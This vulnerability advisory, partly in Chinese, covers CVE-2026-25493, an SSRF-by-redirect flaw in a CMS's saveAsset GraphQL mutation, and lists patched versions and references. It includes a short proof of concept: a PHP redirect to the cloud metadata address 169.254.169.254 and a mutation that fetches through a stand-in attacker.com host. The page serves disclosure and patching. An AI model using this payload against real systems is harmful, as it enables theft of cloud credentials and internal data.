CVE-2026-25493

描述

## Summary The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. --- ## Proof of Concept 1. Host a redirect script on your server (e.g. `redirect.php`): ```php <?php header("Location: http://169.254.169.254/latest/meta-data/"); ?> ``` 2. Send the following GraphQL mutation: ```graphql mutation { save_images_Asset(_file: { url: "https://attacker.com/redirect.php" filename: "metadata.txt" }) { id } } ``` 3. The application validates `attacker.com` (passes) 4. Guzzle follows the redirect to `169.254.169.254` 5. Cloud metadata is saved as an asset --- ## Mitigation - Disable redirects.

如何修補 CVE-2026-25493

要修補 CVE-2026-25493,請將受影響套件升級到下列已修補版本。

• —升級至 5.8.22 或更新版本

CVE-2026-25493 正在被利用嗎?

低 — EPSS 為 0.0%,目前沒有觀察到大規模利用活動。

受影響套件(1)

• >= 5.0.0-RC1, < 5.8.22

CVSS 分數

參考連結(6)

• ADVISORYnvd.nist.gov/vuln/detail/CVE-2026-25493
• PATCHgithub.com/craftcms/cms
• WEBgithub.com/craftcms/cms/commit/0974055634af68998f67850ab2045d8aaa19fa98
• WEBgithub.com/craftcms/cms/releases/tag/4.16.18
• WEB